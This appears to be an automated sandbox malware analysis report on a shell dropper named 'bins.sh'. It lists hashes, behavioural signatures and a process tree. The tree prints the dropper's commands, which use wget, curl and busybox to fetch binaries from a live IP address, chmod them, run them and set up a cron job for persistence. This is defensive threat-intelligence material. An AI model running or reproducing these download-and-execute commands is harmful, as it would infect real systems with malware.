Analysis
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max time kernel
149s -
max time network
151s -
platform
debian-9_armhf -
resource
debian9-armhf-20240418-en -
resource tags
arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
09-11-2024 17:27
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
44abefd5465444dcab746bfecbb8c39e
-
SHA1
c1351bb88084f4d4243abda067e7f8a2fcc38af2
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SHA256
0ae70908cbb2ef856ca8fa16f43dbb8b411bf012b0612ce647de612371c922ca
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SHA512
18f2b3bbded2119de5c8ee396124532e81e70b827e9373f4f6dde79e63b3cd81144bbdc63bfa06dd66f42466e5b92d928d5c5ea874cf43d9cc126c35ca5a75a0
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SSDEEP
192:uNQwhwJwWw1wBwo4wqAbwhwJwWw1wBwJe:uNQwhwJwWw1wBwo4w5bwhwJwWw1wBw8
Malware Config
Signatures
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Contacts a large (2145) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodpid process 699 chmod 671 chmod -
Executes dropped EXE 2 IoCs
Processes:
OfZeLov89tJZDz5lr6ihWtsp2Idr9WowlwaFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0ioc pid process /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw 672 OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw /tmp/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 701 aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 -
Renames itself 1 IoCs
Processes:
aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0pid process 702 aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.1zlQU7 crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 2 IoCs
Checks CPU information which indicate if the system is a virtual machine.
Processes:
curlcurldescription ioc process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
Processes:
aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0curlcrontabcrontabdescription ioc process File opened for reading /proc/26/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/636/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/751/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/791/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/986/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/self/auxv curl File opened for reading /proc/28/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/763/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/831/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/935/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/962/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/963/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/889/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/590/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/742/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/749/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/754/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/758/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/813/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/850/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/956/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/7/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/76/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/138/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/265/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/776/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/800/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/891/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/filesystems crontab File opened for reading /proc/98/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/588/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/858/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/906/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/918/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/934/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/771/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/903/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/924/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/756/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/827/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/921/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/965/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/759/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/809/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/897/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/954/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/797/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/808/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/876/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/887/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/filesystems crontab File opened for reading /proc/768/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/952/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/308/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/744/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/755/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/761/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/796/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/922/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/925/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/785/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/814/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/927/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 File opened for reading /proc/17/cmdline aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 -
Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
Processes:
curlbusyboxwgetcurlbusyboxwgetdescription ioc process File opened for modification /tmp/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 curl File opened for modification /tmp/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 busybox File opened for modification /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw wget File opened for modification /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw curl File opened for modification /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw busybox File opened for modification /tmp/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0 wget
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:638
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/bin/rm/bin/rm bins.sh2⤵PID:640
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/usr/bin/wgetwget http://87.120.84.230/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw2⤵
- Writes file to tmp directory
PID:645 -
/usr/bin/curlcurl -O http://87.120.84.230/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:663 -
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw2⤵
- Writes file to tmp directory
PID:670 -
/bin/chmodchmod 777 OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw2⤵
- File and Directory Permissions Modification
PID:671 -
/tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw./OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw2⤵
- Executes dropped EXE
PID:672 -
/bin/rmrm OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw2⤵PID:674
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/usr/bin/wgetwget http://87.120.84.230/bins/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s02⤵
- Writes file to tmp directory
PID:675 -
/usr/bin/curlcurl -O http://87.120.84.230/bins/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s02⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:685 -
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s02⤵
- Writes file to tmp directory
PID:695 -
/bin/chmodchmod 777 aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s02⤵
- File and Directory Permissions Modification
PID:699 -
/tmp/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0./aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s02⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:701 -
/bin/shsh -c "crontab -l"3⤵PID:703
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
PID:704 -
/bin/shsh -c "crontab -"3⤵PID:706
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:707 -
/bin/rmrm aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s02⤵PID:726
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/usr/bin/wgetwget http://87.120.84.230/bins/pBG1nyPKdOXBDnNPF5qsAKiE9y1eQ3fQuB2⤵PID:729
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
-
Filesize
210B
MD533f08848aeea31030df2bd1f1ba048ed
SHA191b09638ed00a13b615e9a78d648471549019120
SHA2562f1e9b2acf28fe1c7ae95feff412df830366d4a7c55c602c099796d9decd8968
SHA512f72bc5b07270b77d8f722ba112a1e73528b336c60af63ae6885b2a290fa1692b1eac6e05e8a84e099550ded61015759846c5e81a98e8ecdd1b6b31474f904852